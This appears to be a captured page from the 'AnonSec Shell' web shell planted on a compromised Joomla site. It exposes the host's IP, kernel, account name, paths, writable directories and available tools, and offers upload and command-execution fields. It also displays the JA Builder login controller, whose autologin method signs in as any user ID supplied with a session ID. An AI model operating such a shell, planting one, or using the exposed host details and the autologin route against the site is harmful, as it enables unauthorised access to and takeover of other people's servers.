AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/blog/components/com_jabuilder/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/blog/components/com_jabuilder/controllers/login.php
<?php 
/**
 * ------------------------------------------------------------------------
 * JA Builder Component
 * ------------------------------------------------------------------------
 * Copyright (C) 2004-2011 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: J.O.O.M Solutions Co., Ltd
 * Websites: http://www.joomlart.com - http://www.joomlancers.com
 * ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

class JabuilderControllerLogin extends JControllerLegacy
{
	protected $model;
	
	public function __construct($config = array()) 
	{
		parent::__construct($config);
		
		$this->model = $this->getModel('Login', 'JabuilderModel', array());
	}
	
	public function login()
	{
		$this->model->login();
	}
	
	public function autologin() {
		
		$user = JFactory::getUser();

		$input = JFactory::getApplication()->input;

		$id = $input->getInt('id');
		
		$userid = $input->getInt('user');
		
		$session_id = $input->getCmd('session_id');
		
		if ($user->id != $userid && !empty($userid) && !empty($session_id)) 
		{
			$this->model->autologin($userid, $session_id);
		}

		// detect Itemid
		$db = JFactory::getDbo();
		$link = 'index.php?option=com_jabuilder&view=page&id='.$id;
		$dbQuery = $db->getQuery(true)
			->select('id')
			->from('#__menu')
			->where('link=' . $db->quote($link))
			->order('id desc');
		$db->setQuery($dbQuery);
		$Itemid = $db->loadResult();

		if ($Itemid) $link .= '&Itemid=' . $Itemid;

		$url = JRoute::_($link);
		$url = str_replace('&amp;', '&', $url);
		$url .= (preg_match('/\?/', $url) ? '&' : '?') . 'jub=edit';

		$this->setRedirect($url); 
	}
}

Anon7 - 2022
AnonSec Team